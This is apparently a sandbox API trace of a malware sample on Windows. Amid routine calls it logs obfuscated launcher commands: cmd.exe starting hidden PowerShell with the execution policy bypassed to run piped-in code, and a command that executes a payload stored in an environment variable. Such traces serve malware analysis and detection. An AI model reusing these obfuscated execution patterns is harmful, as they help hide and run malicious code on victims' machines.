_wcsicmp (_String1="POwERsHElL", _String2="MKDIR") returned 3 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="RD") returned -2 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="RMDIR") returned -2 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="PATH") returned 14 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="GOTO") returned 9 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="SHIFT") returned -3 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="CLS") returned 13 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="CALL") returned 13 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="VERIFY") returned -6 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="VER") returned -6 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="VOL") returned -6 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="EXIT") returned 11 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="SETLOCAL") returned -3 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="ENDLOCAL") returned 11 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="TITLE") returned -4 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="START") returned -3 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="DPATH") returned 12 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="KEYS") returned 5 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="MOVE") returned 3 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="PUSHD") returned -6 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="POPD") returned 7 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="ASSOC") returned 15 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="FTYPE") returned 10 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="BREAK") returned 14 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="COLOR") returned 13 [0104.136] _wcsicmp (_String1="POwERsHElL", _String2="MKLINK") returned 3 [0104.136] _wcsnicmp (_String1="POwE", _String2="cmd ", _MaxCount=0x4) returned 13 [0104.137] SetErrorMode (uMode=0x0) returned 0x8001 [0104.137] SetErrorMode (uMode=0x1) returned 0x0 [0104.137] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x31e3c0, lpFilePart=0x1ef3b0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1ef3b0*="Desktop") returned 0x19 [0104.137] SetErrorMode (uMode=0x8001) returned 0x1 [0104.137] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0104.137] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0104.139] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0104.139] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.139] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.140] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.140] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.140] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.140] FindClose (in: hFindFile=0x2ac520 | out: hFindFile=0x2ac520) returned 1 [0104.140] FindClose (in: hFindFile=0x2ac520 | out: hFindFile=0x2ac520) returned 1 [0104.140] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0104.140] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0104.141] SetErrorMode (uMode=0x0) returned 0x8001 [0104.141] SetErrorMode (uMode=0x1) returned 0x0 [0104.141] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x31ea90, lpFilePart=0x1ef140 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1ef140*="Desktop") returned 0x19 [0104.141] SetErrorMode (uMode=0x8001) returned 0x1 [0104.141] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0104.141] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0104.141] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0104.142] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.142] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.142] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.142] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.142] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.143] FindClose (in: hFindFile=0x2ac520 | out: hFindFile=0x2ac520) returned 1 [0104.143] FindClose (in: hFindFile=0x2ac520 | out: hFindFile=0x2ac520) returned 1 [0104.143] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0104.143] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0104.143] GetConsoleTitleW (in: lpConsoleTitle=0x1ef400, nSize=0x104 | out: lpConsoleTitle="cmd.exE /c %adizY% ") returned 0x18 [0104.183] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ef1b8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ef178 | out: lpAttributeList=0x1ef1b8, lpSize=0x1ef178) returned 1 [0104.183] UpdateProcThreadAttribute (in: lpAttributeList=0x1ef1b8, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ef168, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ef1b8, lpPreviousValue=0x0) returned 1 [0104.183] GetStartupInfoW (in: lpStartupInfo=0x1ef2d0 | out: lpStartupInfo=0x1ef2d0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="cmd.exE /c %adizY% ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0104.183] lstrcmpW (lpString1="\\powershell.exe", lpString2="\\XCOPY.EXE") returned -1 [0104.184] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpCommandLine="POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc byPASS -nOPrOFIle -COmMANd &( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT ) ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ef1f0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc byPASS -nOPrOFIle -COmMANd &( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT ) ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ef1a0 | out: lpCommandLine="POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc byPASS -nOPrOFIle -COmMANd &( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT ) ", lpProcessInformation=0x1ef1a0*(hProcess=0x5c, hThread=0x54, dwProcessId=0xb5c, dwThreadId=0xb60)) returned 1 [0104.249] CloseHandle (hObject=0x54) returned 1 [0104.249] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0104.249] GetEnvironmentStringsW () returned 0x1fa5f90* [0104.249] FreeEnvironmentStringsW (penv=0x1fa5f90) returned 1 [0104.249] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ef1b8 | out: lpAttributeList=0x1ef1b8) [0104.249] _dup2 (_FileHandleSrc=4, _FileHandleDst=0) returned 0 [0104.249] _close (_FileHandle=4) returned 0 [0104.249] WaitForSingleObject (hHandle=0x64, dwMilliseconds=0xffffffff) returned 0x0 [0104.250] GetExitCodeProcess (in: hProcess=0x64, lpExitCode=0x1ef6d8 | out: lpExitCode=0x1ef6d8*=0x0) returned 1 [0104.250] CloseHandle (hObject=0x64) returned 1 [0104.250] WaitForSingleObject (hHandle=0x5c, dwMilliseconds=0xffffffff) returned 0x0 [0125.510] GetExitCodeProcess (in: hProcess=0x5c, lpExitCode=0x1ef6d8 | out: lpExitCode=0x1ef6d8*=0x0) returned 1 [0125.510] CloseHandle (hObject=0x5c) returned 1 [0125.510] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.510] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0125.511] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.511] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 1 [0125.511] _get_osfhandle (_FileHandle=0) returned 0x58 [0125.511] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 0 [0125.511] GetConsoleOutputCP () returned 0x1b5 [0125.511] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0125.511] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0125.511] exit (_Code=0) Process: id = "14" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x578dd000" os_pid = "0xb54" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xb4c" cmd_line = "C:\\Windows\\system32\\cmd.exe /S /D /c\" EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) \"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1342 start_va = 0x10000 end_va = 0x45fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1343 start_va = 0x50000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1344 start_va = 0x150000 end_va = 0x153fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1345 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 1346 start_va = 0x4a0b0000 end_va = 0x4a108fff entry_point = 0x4a0b0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1347 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1348 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1349 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1350 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1351 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1352 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1353 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1354 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1355 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1356 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1357 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1358 start_va = 0x170000 end_va = 0x1d6fff entry_point = 0x170000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1359 start_va = 0x1e0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1360 start_va = 0x2e0000 end_va = 0x2e0fff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1361 start_va = 0x2f0000 end_va = 0x2f0fff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1362 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 1363 start_va = 0x5e0000 end_va = 0x5effff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 1364 start_va = 0x5f0000 end_va = 0x777fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 1365 start_va = 0x780000 end_va = 0x900fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 1366 start_va = 0x910000 end_va = 0x1d0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 1367 start_va = 0x1d10000 end_va = 0x2052fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d10000" filename = "" Region: id = 1368 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1369 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1370 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1371 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1372 start_va = 0x7fef59a0000 end_va = 0x7fef59a7fff entry_point = 0x7fef59a0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1373 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1374 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1375 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1376 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1377 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1378 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1379 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1380 start_va = 0x460000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Thread: id = 96 os_tid = 0xb58 [0104.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14f830 | out: lpSystemTimeAsFileTime=0x14f830*(dwLowDateTime=0xdf09fe80, dwHighDateTime=0x1d475ba)) [0104.205] GetCurrentProcessId () returned 0xb54 [0104.205] GetCurrentThreadId () returned 0xb58 [0104.205] GetTickCount () returned 0x229be [0104.205] QueryPerformanceCounter (in: lpPerformanceCount=0x14f838 | out: lpPerformanceCount=0x14f838*=1814668500000) returned 1 [0104.205] GetModuleHandleW (lpModuleName=0x0) returned 0x4a0b0000 [0104.205] __set_app_type (_Type=0x1) [0104.205] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0d7810) returned 0x0 [0104.205] __getmainargs (in: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610, _DoWildCard=0, _StartInfo=0x4a0de0f4 | out: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610) returned 0 [0104.206] GetCurrentThreadId () returned 0xb58 [0104.206] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb58) returned 0x38 [0104.206] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0104.206] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0104.206] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0104.206] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0104.206] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14f7c8 | out: phkResult=0x14f7c8*=0x0) returned 0x2 [0104.207] VirtualQuery (in: lpAddress=0x14f7b0, lpBuffer=0x14f730, dwLength=0x30 | out: lpBuffer=0x14f730*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0104.207] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14f730, dwLength=0x30 | out: lpBuffer=0x14f730*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0104.207] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14f730, dwLength=0x30 | out: lpBuffer=0x14f730*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0104.207] VirtualQuery (in: lpAddress=0x54000, lpBuffer=0x14f730, dwLength=0x30 | out: lpBuffer=0x14f730*(BaseAddress=0x54000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0104.207] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14f730, dwLength=0x30 | out: lpBuffer=0x14f730*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0104.207] GetConsoleOutputCP () returned 0x1b5 [0104.207] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0104.207] SetConsoleCtrlHandler (HandlerRoutine=0x4a0d3184, Add=1) returned 1 [0104.207] _get_osfhandle (_FileHandle=1) returned 0x60 [0104.208] SetConsoleMode (hConsoleHandle=0x60, dwMode=0x0) returned 0 [0104.208] _get_osfhandle (_FileHandle=1) returned 0x60 [0104.208] GetConsoleMode (in: hConsoleHandle=0x60, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 0 [0104.208] _get_osfhandle (_FileHandle=0) returned 0x58 [0104.208] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 0 [0104.208] GetEnvironmentStringsW () returned 0x3ac8f0* [0104.211] FreeEnvironmentStringsW (penv=0x3ac8f0) returned 1 [0104.211] GetEnvironmentStringsW () returned 0x3ac8f0* [0104.213] FreeEnvironmentStringsW (penv=0x3ac8f0) returned 1 [0104.214] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e688 | out: phkResult=0x14e688*=0x40) returned 0x0 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x0, lpData=0x14e6a0*=0x18, lpcbData=0x14e684*=0x1000) returned 0x2 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x1, lpcbData=0x14e684*=0x4) returned 0x0 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x0, lpData=0x14e6a0*=0x1, lpcbData=0x14e684*=0x1000) returned 0x2 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x0, lpcbData=0x14e684*=0x4) returned 0x0 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x40, lpcbData=0x14e684*=0x4) returned 0x0 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x40, lpcbData=0x14e684*=0x4) returned 0x0 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x0, lpData=0x14e6a0*=0x40, lpcbData=0x14e684*=0x1000) returned 0x2 [0104.214] RegCloseKey (hKey=0x40) returned 0x0 [0104.214] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e688 | out: phkResult=0x14e688*=0x40) returned 0x0 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x0, lpData=0x14e6a0*=0x40, lpcbData=0x14e684*=0x1000) returned 0x2 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x1, lpcbData=0x14e684*=0x4) returned 0x0 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x0, lpData=0x14e6a0*=0x1, lpcbData=0x14e684*=0x1000) returned 0x2 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x0, lpcbData=0x14e684*=0x4) returned 0x0 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x9, lpcbData=0x14e684*=0x4) returned 0x0 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x9, lpcbData=0x14e684*=0x4) returned 0x0 [0104.214] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x0, lpData=0x14e6a0*=0x9, lpcbData=0x14e684*=0x1000) returned 0x2 [0104.215] RegCloseKey (hKey=0x40) returned 0x0 [0104.215] time (in: timer=0x0 | out: timer=0x0) returned 0x5be16bd0 [0104.215] srand (_Seed=0x5be16bd0) [0104.215] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) \"" [0104.215] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) \"" [0104.215] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0104.215] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4946d0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0104.215] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0104.215] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0104.215] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0104.215] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0104.215] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0104.216] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0104.216] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0104.216] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0104.216] 